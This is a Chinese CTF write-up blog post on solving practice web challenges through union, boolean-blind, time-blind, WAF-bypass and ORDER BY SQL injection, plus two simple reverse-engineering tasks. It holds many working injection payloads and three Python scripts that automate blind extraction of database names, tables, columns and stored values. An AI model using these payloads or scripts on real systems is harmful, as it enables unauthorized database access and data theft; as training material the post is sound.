CTF做题总结(二)

2023-10-31

前言

最近这段时间在内部平台上做了一些Web题,和最基础的Reverse签到题。虽说还有两道Reverse题没做出来,但还是先总结一下吧!

Web1:BASE-INJECT

在这里插入图片描述
看题目提示,就知道这道题之前做过,不过当时没总结,现在总结一下。
题目的意思是注入。点开题目
在这里插入图片描述
发现输入id可以查信息,并且是get传参方式。
判断是否存在sql注入
判断方法在sqlilabs攻关总结中总结过。就不叙述了。这里我选用get单引号判断
输入?id=1显示正常
输入?id=1’显示错误,所以存在sql注入
在这里插入图片描述
并且有显示位,所以应该是SQL注入-联合查询注入。

联合查询注入

前提
要用联合查询进行注入则:页面必须有显示位
显示位(查字段)
在一个网站的正常页面,服务器执行sql语句查询数据库中的数据,客户端将数据展示在页面中,这个暂时数据的位置就是显示位。
联合查询
union可合并两个或多个select语句的结果集,如:

select id,username,password from users where id=1 union select 1,2,3;

前提是两个select必有相同列、且各列的数据类型也相同
union注入条件
只有最后一个select子句允许有order by
只有最后一个select子句允许有limit
只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
注入点页面有回显
注入步骤

  1. 判断是整型还是字符型
  2. 判断查询列数
  3. 判断显示位
  4. 获取所有数据库名
  5. 获取数据库所有表名
  6. 获取字段名
  7. 获取字段中的数据

知识了解完毕,开始解题
1.判断是整型还是字符型
输入?id=1 and 1=1
输入?id=1 and 1=2
回显页面不同,说明是整型注入
2.判断查询列数
输入?id=1 order by 3 --+ 显示正常
再次输入?id=1 order by 4 --+ 显示错误
所以在?id=1查看的这个表有3列,即3个字段
在这里插入图片描述
在这里插入图片描述
3. 判断显示位
在这里插入图片描述
1、2、3处,即是显示位。
4. 获取所有数据库名
group_concat()一次性显示:

1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+

在这里插入图片描述
显示当前数据库: database()

1 union select 1,2,database()--+

在这里插入图片描述
5. 获取数据库所有表名

1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+

在这里插入图片描述
6. 获取字段名

1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and TABLE_NAME='users' --+

在这里插入图片描述
7. 获取字段中的数据

1 union select 1,2,group_concat(username) from users --+

在这里插入图片描述
得到flag。

Web2:BASE-Blind-Inject

在这里插入图片描述
"BASE-Blind-Inject"意思是“基础盲注”。盲注知识之前我已经总结过,所以直接做题
打开题目,发现是登录框。想到SQL的简单注入,试一下闭合方式,最后发现是双引号闭合
payload

" or 1=1#

在这里插入图片描述
flag在数据库?!并且输错回显不同,再结合题目“基础盲注”,所以很明显是布尔盲注,并且是POST型的。
所以开始构造针对此题的布尔盲注pyload
盲注方法:

  1. 最慢:可以采用二分法的方式,手工进行盲注,对数据库名的每一个字符进行猜解(在浏览器进行测试有点不方便,可以用Burpsuite抓包,使用Repeater进行测试)
    参考:
    sqli-labs攻关2(布尔盲注、时间盲注)
  2. 一般:可以使用Burpsuite抓包,半自动化盲注,设置变量,通过返回的长度不同进行判断
    参考:
    利用BurpSuite实现半自动化盲注
  3. 较快:写一个普通盲注脚本进行盲注
    参考:
    sqli-labs盲注脚本
    python3以post方式提交数据
  4. 最快:写一个2分法猜测数据库长度的盲注脚本进行盲注
    参考:
    Bool盲注脚本-POST

1.爆库
猜库长
payload

" or (length(database())=10)--+正常

所以数据库长度为10
猜库名
payload

" or (ascii(substr(database(),1,1))=n)--+
手工盲注

手工测试第一个字符
在这里插入图片描述
在这里插入图片描述
第一个字符ascii码为99,即字符“c”
一直尝试,直到字符全部猜出。

Burpsuite半自动化盲注

要注意如果第二个变量选择的是字符字典,payload写成如下形式:

" or (substr(database(),1,1)='a')--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
length为498的即为正常回显的,(上面等进度条满格则爆破结束,我没有爆破完)将得到的正常回显的Payload2根据Payload1进行排序,即为数据库名。数据库名为chellenges
2.爆表
猜表长
payload

" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常

所以数据表长度为6
猜表名
payload

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n)--+

沿用爆库的方法,最终得到表名user_2
3.爆字段
猜字段长
payload

" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常

所以数据字段长度分别为2、8、8
猜字段名
payload

" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))=n)--+

沿用爆库的方法,最终得到三个字段名id username password
4.爆数据
猜数据长

" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常

所以数据长度为32,这个应该就是flag那条数据了
猜数据名

" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))=n)--+

沿用爆库的方法,最终得到数据flag

脚本盲注

这里有一个我参照大佬博客写好的脚本(我太菜,不会写二分法猜长度的那个脚本)

import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
    'username':'" or 1=1#',
    'password':'admin'
    }
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    print("数据库名:",dbname)
    payload='" or ascii(substr(database(),{0},1))={1} #'
    #print("数据表名:",dbname)
    #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
    #print("字段名:",dbname)
    #payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
    #print("数据:",dbname)
    #payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'username':payloads,
            'password':'admin'
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)

在这里插入图片描述

Web3:BASE-TIME-BLIND-INJECT

在这里插入图片描述
题目意思是时间盲注,所以很显然这道题是时间盲注。时间盲注正常和不正常回显结果相同,所以进入题目,还是登录框,先不测试。查看源码
在这里插入图片描述
给了题目源码,url框输入www.zip下载源码,或如下
在这里插入图片描述
解压,查看
在这里插入图片描述
发现sql查询语句的闭合方式,所以构造闭合方式为'"
当然时间盲注也有三种方法:

  1. 手工盲注: sqli-labs攻关2(布尔盲注、时间盲注)
  2. Burpsuite半自动化盲注:Mysql 高级盲注技巧之时间盲注
  3. 脚本盲注:Time盲注脚本-POST

与布尔盲注相比,因为正常和不正常返回相同,所以采用sleep()函数延迟时间来判断是否正常。
1.爆库
猜库长

'" or if(length(database())=10,sleep(5),1)--+延迟五秒

所以数据库长度为10
猜库名

'" or if((ascii(substr(database(),1,1))=n),sleep(5),1)--+
手工盲注

手工测试第一个字符
在这里插入图片描述
在这里插入图片描述
第一个字符ascii码为98时,无延迟;第一个字符ascii码为99时,延迟5秒。所以第一个字符为99,即字符“c”

Burpsuite半自动化盲注

要注意如果第二个变量选择的是字符字典,大小写识别有点问题,不过因为字典较快,所以依旧用的字典,然后再判断大小写。payload写成如下形式:

'" or if((substr(database(),1,1)='a'),sleep(5),1)--+

在这里插入图片描述
和布尔盲注一样选择设置变量,选择变量范围。开始爆破,双击Timeout下的四方块
在这里插入图片描述
正常的
在这里插入图片描述
延迟的
在这里插入图片描述
找到所有延迟的,然后进行排序即可得到数据库名。最后得到数据库名为chellenges
2.爆表
猜表长

'" or if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒

所以数据表长度为6
猜表名

'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+

沿用爆库的方法,最终得到表名user_3
3.爆字段
猜字段长

'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒

所以数据字段长度分别为2、8、8
猜字段名

'\" or if((ascii(substr((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+

沿用爆库的方法,最终得到三个字段名id username password
4.爆数据
猜数据长

" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒

所以数据长度为25,这个应该就是flag那条数据了
猜数据名

'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))=n),1,sleep(5))--+

沿用爆库的方法,最终得到数据flag

脚本盲注

这里有一个我修改布尔盲注得到的时间盲注脚本

import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-02/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名:",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据:",dbname)
for i in range(1,40):
    char=''
    for x in chars:
        char_ascii=ord(x)
        payloads=payload.format(i,char_ascii)
        start=time.time()
        postdata={
            'username':payloads,
            'password':'admin'
        }
        r=requests.post(url,data=postdata)
        if (time.time() - start)>=5:
            dbname+=x
            print(dbname)
            char=x
            break
    if char=='':
        break

因为效率有点低,就先演示个爆数据库名的
在这里插入图片描述

Web4:BASE-INJECT-WAF

在这里插入图片描述
根据和查看题目,与Web1相比就多加了个waf。通过preg_replace()函数执行一个正则表达式的搜索和替换。
由题目可知,过滤了or|and|select|union|from,所以要进行WAF绕过

WAF绕过

参考博客:SQL注入WAF绕过姿势
这道题我采用的双写绕过
1.爆库
在这里插入图片描述
2.爆表
在这里插入图片描述
3.爆字段
在这里插入图片描述
4.爆数据
在这里插入图片描述
得到flag。

Web5:orderby死亡在线

在这里插入图片描述
order by?!我只知道查列数有用到order by。先看看老学长给的tips
在这里插入图片描述
先百度一下order by
ORDER BY 关键字

order by排序注入

Order by排序注入方法小总结
MySQL Order By 注入总结
了解完毕。这是order by排序注入,如下order参数可控:

select * from goods order by $_GET['order']

而题目tips刚好符合:

select * from 一个不是flag的表 order by id {$order}

我选择利用报错返回多条记录的方式进行注入,先进行测试
post传参

order=and if(1=1,1,(select 1 from information_schema.tables))正确
order=and if(1=2,1,(select 1 from information_schema.tables))错误

所以构造payload开始报错盲注
1.爆库
payload

and if(ascii(substr(database(),1,1))=n,1,(select 1 from information_schema.tables))

2.爆表
payload

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n,1,(select 1 from information_schema.tables))

3.爆字段
payload

and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),1,1))=n,1,(select 1 from information_schema.tables))

4.爆数据
payload

and if(ascii(substr((select flag from cha1users limit 1,1),1,1))=n,1,(select 1 from information_schema.tables))

除payload不同外,方法沿用布尔盲注。这有一个我改好的脚本:

import requests

chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+!@%^*$()[]:".#'
postdata={
    'order':',if(1=1,1,(select 1 from information_schema.tables))'
    }
url="http://39.106.19.10/orderby/"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    payload='and if(ascii(substr(database(),{0},1))={1},1,(select 1 from information_schema.tables))'
    print("数据库为:",dbname)
    #payload='and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},1,(select 1 from information_schema.tables))'
    #print("数据表为:",dbname)
    #payload="and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),{0},1))={1},1,(select 1 from information_schema.tables))"
    #print("字段为:",dbname)
    #payload="and if(ascii(substr((select flag from cha1users limit 1,1),{0},1))={1},1,(select 1 from information_schema.tables))"
    #print("数据:",dbname)
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'order':payloads
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)

Reverse1:RE0(签到)

在这里插入图片描述
就是一个很简单的签到题,赢了就有flag?!所以用IDA打开,选择
在这里插入图片描述
打开得到flag
在这里插入图片描述

Reverse2:RE1

在这里插入图片描述
提示的很明显(之前好像没提示有莫名奇妙的数字),下载题目用IDA打开,F5反编译一下
在这里插入图片描述
发现一串奇怪的数字,按照v4-v23对下面的数字进行排序,然后转换成ASCII(之前我不知道可以用r键转,所以用的在线平台)
在这里插入图片描述
得到flag。

感悟

总结之后对联合查询和盲注有了更加清醒的认识,同时会脚本的编写和改写也特别重要。
继续努力,小白进阶ing

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTF做题总结(二) 的相关文章

  • CTFSHOW【萌新计划】Writeup

    CTFSHOW 萌新计划 web1 萌新计划 web2 萌新计划 web3 萌新计划 web4 萌新计划 web5 萌新计划 web6 萌新计划 web7 萌新计划 web8 萌新计划 web9 萌新计划 web10 萌新计划 web11
  • ctfshow- web1(50 point)

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 首先映入眼帘的是登录界面 尝试弱口令无果 可以注册 尝试注册一个账号 通过url发现这里是通过order by进行了排序 测试发现一共5个字
  • SQL注入攻击介绍

    SQL注入攻击介绍 一 SQL注入攻击简介 SQL注入攻击是指 后台数据库操作时 如果拼接外部参数到SQL语句中 就可能导致欺骗服务器执行恶意的SQL语句 造成数据泄露 删库 页面篡改等严重后果 按变量类型分为 数字型 字符型 按HTTP提
  • ctfshow_web149

    打开容器
  • SQL注入原理-报错盲注

    小伙伴们大家好 本期为大家带来的内容是SQL注入原理之报错盲注 目录 为什么要使用报错盲注 常见的报错函数 updatexml 函数 extractvalue 函数 实战演示 1 检测是否存在注入点 2 执行报错语句爆出数据 1 爆出当前数
  • sql注入万能密码总结

    select from admin where username and password 第一种 当你已知管理员账号名为admin时可以直接尝试 admin select from admin where username admin a
  • 再探ROP(下)

    文章目录 0x01 概述 0x02 ret2reg 2 1 起因 2 2 原理 0x03 brop详解 3 1 概述 3 2 逆向思维切入 1 搭建环境 2 溢出长度和爆破canary 3 如何getshell 4 寻找直接条件 5 寻找间
  • 懂的都懂,那些好用的“WEB安全”网站

    加密解密 解码编码 MD5 https www cmd5 com 凯撒 https www qqxiuzi cn bianma kaisamima php 摩斯密码 https www jb51 net tools morse htm ht
  • CTF_ctfshow_web9_sql注入

    打开靶机 手工注了一下 发现没有注入点 然后查看了一下robots txt协议 提示了index phps 访问一下 下载下来了源码
  • 安恒10月夺旗赛

    概述 昨天参加的比赛 这个比赛是信安之路微信公众号和安恒合作的一个比赛 是个人赛 作为一个大一的嫩鸡 还是搞web的 对于re和pwn毫无办法 所以昨天最终的结果是这样的 过程 这一次部分题需要用VPN内网访问 但是不知道为什么刚开始的时候
  • 攻防世界(easy-apk)

    下载链接如下所示 https adworld xctf org cn media task attachments 989ca07c3f90426fa05406e4369901ff apk 使用JEB打开apk 如下所示 可知获得输入后进行
  • 实验吧 web题--代码审计类

    一 因缺思汀的绕过 1 web题常规套路就是查看源代码 于是右击查看源代码发现 br 构造url http ctf5 shiyanbar com web pcat source txt 查看php代码 2 关键php代码 if mysql
  • sqli-labs通关攻略54-65[Challenges]

    Advanced Injections 文章目录 Advanced Injections less 54 less 55 less 56 less 60 less 62 less 63 less 64 less 65 最后一篇补上 less
  • 攻防 & 渗透 & Kali笔记(持续更新)

    0x00 写在前面 本来是记录kali用法的一篇文章 后来就慢慢变成了记录攻防 渗透测试 Kali用法的文章了 本来信息安全就涉及到方方面面就是个大杂烩 0x01 John the Ripper john爆破需要一个shadow文件 推荐使
  • F5杯—网络是有记忆的

    0x00 前言 CTF 加解密合集 CTF 加解密合集 0x01 题目 网络有记忆 我也有 所以 我想她了 提示 1 题目既提示 2 flag包括小写字母 单词 下划线 IDEgOChWMyVNM1wtGVhbI1NeMCE0Vy9RHVB
  • 攻防世界 Web simple_php

    攻防世界 Web simple php 1 分析源代码 2 得到flag 1 分析源代码 a 和 b 都是通过GOT传入 第一个if可以获取flag1 但是要求a0 atrue 但是如果
  • Java安全知识share

    这里简单的介绍一下自己创建的知识星球 为什么要用知识星球呢 一方面他有APP然后方便使用里面的文章标签等功能 另一方面可能有一点点 哈哈哈 总的来说是方便使用 该知识星球包括Java相关的安全知识和其他相关的安全知识php nodejs C
  • [NCTF2019]Fake XML cookbook

    NCTF2019 Fake XML cookbook 日常刷题 打开题目嗯 一开始我的脑子里想到的是禁止自娱自乐 狗头 哈哈 第一想法就是试一下admin 别问为什么 web狗的自觉 果然没这么容易 抓包 将提交的数据放到了doLogin
  • 我如何检查 base64 字符串是否是文件(什么类型?)?

    我参加了 Spentalkux 挑战https 2020 ractf co uk https 2020 ractf co uk 这是我第一次参加CTF挑战 所以我解决了https github com W3rni0 RACTF 2020 b
  • 通过 url 将整数传递给 php $_GET

    所以我正在做一些 CTF 挑战之一是关于 php 类型杂耍 代码看起来像这样 if GET var1 hash md4 GET var1 print flag 所以我 80 确定我需要传入一个整数 这样它就会是真的 但我能操作的只是 url

随机推荐

  • 我是如何用 redis 分布式锁来解决线上历史业务问题的

    近期发现 开发功能的时候发现了一个 mq 消费顺序错乱 历史遗留问题 导致业务异常的问题 看看我是如何解决的 问题抛出 首先 简单介绍一下情况 线上 k8s 有多个 pod 会去消费 mq 中的消息 可是生产者发送的消息是期望一定要有序去消
  • HTML5 postMessage和跨域通信

    HTML5 postMessage和跨域通信 http iknowledge wikispaces com HTML5 postMessage E5 92 8C E8 B7 A8 E5 9F 9F E9 80 9A E4 BF A1 HTM
  • stm32cubemx hal学习记录:FreeRTOS中断管理

    一 参数配置 1 配置RCC USART1 时钟84M 2 配置SYS 将Timebase Source修改为除滴答定时器外的其他定时器 3 初始化LED的两个引脚 两个按键引脚 4 开启FreeRTOS v1与v2版本不同 一般选用v1即
  • 梯度下降法及其Python实现

    梯度下降法 gradient descent 又名最速下降法 steepest descent 是求解无约束最优化问题最常用的方法 它是一种迭代方法 每一步主要的操作是求解目标函数的梯度向量 将当前位置的负梯度方向作为搜索方向 因为在该方向
  • 轻松玩转开源大语言模型bloom(一)

    前言 chatgpt已经成为了当下热门 github首页的trending排行榜上天天都有它的相关项目 但背后隐藏的却是openai公司提供的api收费服务 作为一名开源爱好者 我非常不喜欢知识付费或者服务收费的理念 所以便有决心写下此系列
  • Vue3最常见的10道面试题:含答案和代码示例的练习题

    本文列举了10道Vue3面试题 每道题都包含了答案和代码示例 希望对你的面试有所帮助 什么是Vue3 Vue3是Vue js的下一个主要版本 它带来了很多重要的改进和新功能 包括更快的渲染速度 更好的类型支持 更好的组合API等 什么是Co
  • Postman 如何调用文件上传下载接口

    文件导入导出是管理后台的通用功能 所以在接口写好后在没有前端页面使用Postman进行接口调用测试接口功能成为一个选择 导出 在我们输入接口地址 token等候 点击send 发现下载的成为了乱码 如下图 这明显不符合我们的预期期望 在se
  • 文本分析简历项目收集-----机器学习(仅供参考)

    文本分析 项目3 基于自然语言处理的影评分析 项目简介 通过大量的正面和负面的电影评论对计算机进行自然语言训练 实现计算机对电影评论的基本情感分析 使其能够快速判断出评论是否积极 个人职责 1 对正面和负面的电影评论进行分词处理 整理成规定
  • 一次让人难以忘怀的排查频繁Full GC过程

    我们的Java应用因频繁FULL GC导致性能降低很多 经过多人的定位也没有结论 于是我自主请命 经过一天的研究终于搞定了 现把经验与大家共享 相关的gc日志如下 4 758 Full GC PSYoungGen 464K gt 0K 71
  • linux统计一个文件中特定字符的个数

    统计一个文件中某个字符串的个数 其实就是在在一块沙地里面找石头 有的人看到石头以后 在上面做个标记 grep 然后记住自己做了多少个标记 有的 人看到石头以后 把它挖了 tr 最后统计自己挖了多少石头 有的人看到石头以后 把它跳过去 awk
  • STL:list的模拟实现(迭代器失效探讨)

    为什么重新设计list迭代器 对迭代器解引用 我们希望拿到的是指针所指向的值域 而直接解引用拿到的是指针所指向的节点 对list指针 和 迭代器 提供一种方法 使其能够按照顺序访问容器 聚合物 所含的各个元素 并且不用暴露容器内部的表述方式
  • 达芬奇15中文版

    教程 1 下载解压 得到davinci resolve 15原程序和文件 2 双击文件 DaVinci Resolve Studio 15 0b2 Windows exe 依提示安装原程序 3 达芬奇软件需要安装必要的组件 一般按默认安装即
  • Flexible弹性布局

    flex布局 弹性布局 flex的两个重要概念 开启了flex布局的元素叫flex container display flex inline flex flex container 里面的直接子元素叫做 flex items flex布局
  • 来源查询检索的研究

    来源查询检索的研究 来源查询的方式主要有 基于内容索引的查询 gt 基于时间局部性的上下文增强搜索查询 gt 基于因果关系的查询 根据provenance提供上下文有关的索引 即因果关系 1 传统的来源查询检索方式为基于内容索引的查询 在这
  • 阿里云视频点播文件上传-iOS

    文章目录 阿里云视频点播文件上传 iOS 一 上传方式 方式一 上传地址加凭证上传 1 请求AppServer 2 在start的回调中设置上传地址和上传凭证 3 uploadAuth过期重新设置 4 上传图片和上传视频 方式二 STS方式
  • 记一次线上CPU持续飙升的问题排查

    最近公司的事务多了很多 都很少有时间来更新了 上周六项目上刚刚发生了一次CPU持续飙高 导致服务不可用的线上事故 在此也简单做下记录 问题排查的过程大概是这样的 查看业务日志中最开始报错的信息 发现数据库连接超时 redis也连接超时 而且
  • 嵌入式实践——烟雾产生器

    开发工具 Altium Designer 2020 STM32CubeMX 5 3 0 MDK ARM 5 28 1 设计需求 设计出一套完整的烟雾产生装置 该装置通过按钮来控制烟雾的产生和关闭 装置对体积要求较高 所以控制板需控制在4cm
  • WPF 文本框错误验证 Validation.ErrorTemplate

    前端 1 错误模板ValidationContent xaml
  • 智能算法系列之粒子群优化算法

    本博客封面由ChatGPT DALL E 2共同创作而成 文章目录 前言 1 算法思想 2 细节梳理 2 1 超参数的选择 2 2 一些trick 3 算法实现 3 1 问题场景 3 2 python实现 代码仓库 IALib GitHub
  • CTF做题总结(二)

    前言 最近这段时间在内部平台上做了一些Web题 和最基础的Reverse签到题 虽说还有两道Reverse题没做出来 但还是先总结一下吧 Web1 BASE INJECT 看题目提示 就知道这道题之前做过 不过当时没总结 现在总结一下 题目